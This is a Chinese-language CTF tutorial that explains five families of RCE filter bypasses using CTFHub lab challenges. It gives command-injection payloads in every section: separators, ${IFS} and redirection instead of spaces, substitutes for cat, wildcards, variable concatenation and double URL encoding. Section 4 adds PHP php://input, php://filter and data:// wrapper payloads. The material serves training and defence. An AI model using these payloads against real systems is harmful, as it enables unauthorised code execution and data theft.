新手也能懂:从CTFHub靶场实战拆解RCE漏洞的5种常见绕过姿势
从CTFHub靶场实战拆解RCE漏洞的5种常见绕过姿势
在网络安全领域,远程代码执行(RCE)漏洞一直是最危险也最受关注的漏洞类型之一。不同于简单的信息泄露或权限提升,RCE漏洞直接允许攻击者在目标系统上执行任意命令,其危害性不言而喻。对于初学者而言,理解RCE漏洞的原理和绕过技巧,不仅能提升CTF解题能力,更能帮助开发者在实际项目中构建更安全的Web应用。
CTFHub作为国内知名的网络安全练习平台,其RCE挑战题目设计精巧,涵盖了真实环境中可能遇到的各种过滤和防御机制。本文将基于CTFHub靶场,深入剖析5种常见的RCE绕过技术,从基础到进阶,带你逐步掌握命令执行的绕过艺术。
1. 基础分隔符绕过:分号与管道符的妙用
在Linux系统中,命令分隔符是构造RCE payload的基础。许多初级防御措施会过滤常见的空格和特殊字符,但往往忽略了一些基础的分隔符。
1.1 分号(;)的利用
分号在Linux中表示顺序执行,无论前一个命令是否成功,后面的命令都会执行。这在CTFHub的"eval执行"挑战中尤为实用:
/?cmd=system("ls");system("cat /flag");这个payload首先列出目录内容,然后直接读取flag文件。即使第一个ls命令失败,cat命令仍会执行。
1.2 管道符(|)的变通
管道符能将前一个命令的输出作为后一个命令的输入,常被用来绕过基础过滤:
127.0.0.1 | ls /当输入点看似只接受IP地址时,通过管道符可以注入额外命令。在CTFHub的"命令注入"挑战中,这种方法可以绕过简单的输入验证。
注意:某些环境会过滤管道符,此时可以尝试URL编码形式
%7C
1.3 逻辑运算符的灵活运用
除了基础分隔符,逻辑运算符也能实现命令注入:
| 运算符 | 作用 | 示例 |
|---|---|---|
&& | 前命令成功才执行后命令 | 127.0.0.1 && cat /flag |
| ` | ` | |
& | 后台执行前命令 | 127.0.0.1 & cat /flag |
在CTFHub的"过滤运算符"挑战中,理解这些运算符的区别至关重要。当某些运算符被过滤时,可以尝试其他替代方案。
2. 空格绕过技术:当空白成为障碍
空格是命令执行中最常见的分隔符,也是防御系统重点过滤的对象。CTFHub的"过滤空格"挑战专门针对这种情况,以下是几种实用绕过方法:
2.1 使用变量替换
在Linux中,${IFS}是内部分隔符变量,可以替代空格:
127.0.0.1&&cat${IFS}/flag当${IFS}也被过滤时,可以尝试更短的变量形式:
127.0.0.1&&cat$IFS/flag2.2 重定向符号替代
<和>重定向符号在某些环境下可以替代空格:
127.0.0.1&&cat</flag这种方法在CTFHub的"过滤空格"挑战中特别有效,因为许多基础过滤规则不会检查重定向符号。
2.3 其他特殊替代方案
当常见替代方案都被过滤时,还可以尝试:
- 使用制表符
%09代替空格 - 使用大括号
{cat,/flag}语法 - 使用引号包裹
cat"/flag"
在CTFHub的"综合过滤练习"中,这些技巧往往能出奇制胜。
3. 命令替换:当cat被禁用时的解决方案
cat命令是最常用的文件读取工具,也是防御系统重点防范的对象。CTFHub的"过滤cat"挑战展示了这种情况下的解决方案。
3.1 替代命令选择
Linux提供了多种文件读取命令,可以根据实际情况选择:
| 命令 | 特点 | 示例 |
|---|---|---|
more | 分页显示 | more /flag |
less | 可回滚显示 | less /flag |
head | 显示开头部分 | head -n 100 /flag |
tail | 显示结尾部分 | tail -n 100 /flag |
tac | 反向显示 | tac /flag |
nl | 带行号显示 | nl /flag |
3.2 利用系统工具
当所有文件读取命令都被过滤时,可以尝试使用系统工具:
# 使用grep读取文件 grep -r '' /flag # 使用sed输出文件 sed -n '1,$p' /flag # 使用awk打印文件 awk '{print}' /flag3.3 编码输出绕过过滤
在某些情况下,直接输出文件内容会被拦截,但编码输出可能绕过检测:
# Base64编码输出 base64 /flag | base64 -d # Hexdump输出 xxd -p /flag | xxd -r -p在CTFHub的"过滤cat"挑战中,more命令配合base64编码是常见解决方案:
127.0.0.1 & more flag_31842143531286.php | base644. 协议封装与流处理:php://的妙用
PHP提供了多种封装协议,可以绕过常规的文件操作限制。CTFHub的"文件包含"和"读取源代码"挑战展示了这些技术的威力。
4.1 php://input的利用
当目标系统允许包含远程文件时,php://input可以读取POST数据作为PHP代码执行:
POST /?file=php://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded <?php system('ls /');?>这种方法在CTFHub的"文件包含"挑战中非常有效,特别是当allow_url_include设置为On时。
4.2 php://filter读取源码
当直接执行被限制时,php://filter可以读取文件源码:
/?file=php://filter/read=convert.base64-encode/resource=index.php这个payload会将目标文件以base64编码形式输出,避免直接执行PHP代码。在CTFHub的"读取源代码"挑战中,这是获取flag的关键技术。
4.3 data://协议的应用
当php://被禁用时,可以尝试data://协议:
/?file=data://text/plain,<?php system('ls');?>或者base64编码形式:
/?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+5. 高级绕过技巧:综合过滤的应对策略
CTFHub的"综合过滤练习"汇集了多种过滤机制,需要综合运用各种技巧。以下是几种高级绕过策略:
5.1 换行符替代分隔符
当;、&、|等分隔符被过滤时,换行符%0a是很好的替代:
/?ip=127.0.0.1%0als这个payload在URL中会转换为:
127.0.0.1 ls5.2 通配符绕过关键字过滤
当特定关键字被过滤时,通配符可以发挥作用:
# 当"flag"被过滤时 127.0.0.1 && cat /fla? # 或者使用星号 127.0.0.1 && cat /fl*5.3 环境变量拼接
通过环境变量拼接可以构造被过滤的命令:
# 当"cat"被过滤时 127.0.0.1 && a=c;b=at;$a$b /flag5.4 编码与双重编码
复杂过滤系统有时可以通过多重编码绕过:
# 原始payload cat /flag # URL编码一次 %63%61%74%20%2f%66%6c%61%67 # 双重URL编码 %25%36%33%25%36%31%25%37%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37在CTFHub的"综合过滤练习"中,这些技术往往需要组合使用:
/?ip=127.0.0.1%0acd${IFS}fl*_is_here${IFS}%0abase64${IFS}fl*这个payload使用了换行符、环境变量、通配符等多种技术,能够绕过大多数基础过滤机制。
